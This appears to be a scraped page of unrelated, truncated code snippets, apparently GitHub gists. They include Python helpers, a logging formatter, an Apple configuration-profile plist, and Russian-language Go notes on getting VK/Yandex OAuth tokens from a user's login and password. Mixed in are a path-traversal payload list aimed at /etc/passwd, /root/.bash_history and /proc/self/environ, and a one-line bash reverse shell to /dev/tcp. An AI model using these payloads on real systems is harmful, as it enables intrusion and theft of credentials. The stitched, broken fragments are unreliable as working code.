def inc(x):
return x + 1
def dec(x):
return x - 1
def operate(func, x):
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| \?filename=../../../../../../etc/passwd | |
| \?filename=../../../../../../etc/hosts | |
| \?filename=../../../../../../etc/my.cnf | |
| \?filename=../../../../../../etc/crontab | |
| \?filename=../../../../../../root/.bash_history | |
| \?filename=../../../../../../proc/self/comm | |
| \?filename=../../../../../../proc/self/cmdline | |
| \?filename=../../../../../../proc/self/environ | |
| \?filename=../../../../../../proc/sched_debug | |
| \?filename=../../../../../../proc/mounts |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import logging | |
| class OwOFormatter(logging.Formatter): | |
| def __init__(self): | |
| super().__init__(fmt="%(levelno)d: %(msg)s", datefmt=None, style='%') | |
| self.info_fmt = "[^w^] %(msg)s" | |
| self.err_fmt = "[UwU] %(msg)s" | |
| self.warn_fmt = "[OwO] %(msg)s" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| bash -i >& /dev/tcp/127.0.0.1/4444 0>&1 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import os | |
| import sys | |
| import logging | |
| from logging.handlers import RotatingFileHandler | |
| CONFIG = { | |
| 'path': 'logs', | |
| 'max_bytes': 1024, | |
| 'backup_count': 10 | |
| } |
Dump a .plist file to stdout:
plutil -convert xml1 -o - filename.plist
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?xml version="1.0" encoding="UTF-8"?> | |
| <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> | |
| <plist version="1.0"> | |
| <dict> | |
| <key>PayloadContent</key> | |
| <array> | |
| <dict> | |
| <key>PayloadDisplayName</key> | |
| <string>Security & Privacy</string> | |
| <key>PayloadEnabled</key> |
Осуществляем описанную в [документации][vk] процедуру без редиректа пользователя в браузер.
Нам понадобится:
- client_id=ID - ID приложения
- login=LOGIN - логин пользователя
- passwd=PASS - пароль пользователя
- user_id=USR - ID пользователя
- scopes=SCOPES - разрешения (мои разрешения: scope=notify,friends,photos,audio,video,stories,pages,status,wall,notes,messages,docs,groups,offline)
func main() {
// 1. Инициализируем куки
_url, err := url.Parse("https://oauth.yandex.ru/authorize?response_type=token&client_id=712bab09cb564e848cbb6418c4d875f2")
jar, err := cookiejar.New(&cookiejar.Options{PublicSuffixList: publicsuffix.List})
client := &http.Client{
Jar: jar,
}